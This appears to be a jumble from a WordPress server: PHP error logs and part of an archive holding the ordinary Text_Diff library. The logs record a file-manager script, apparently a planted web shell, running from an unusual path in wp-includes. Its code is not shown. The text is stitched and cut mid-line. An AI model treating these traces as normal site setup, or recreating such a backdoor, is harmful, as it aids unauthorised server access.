file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 PKj[Y:: Diff.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } PKj[,6=ee error_lognu[[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in 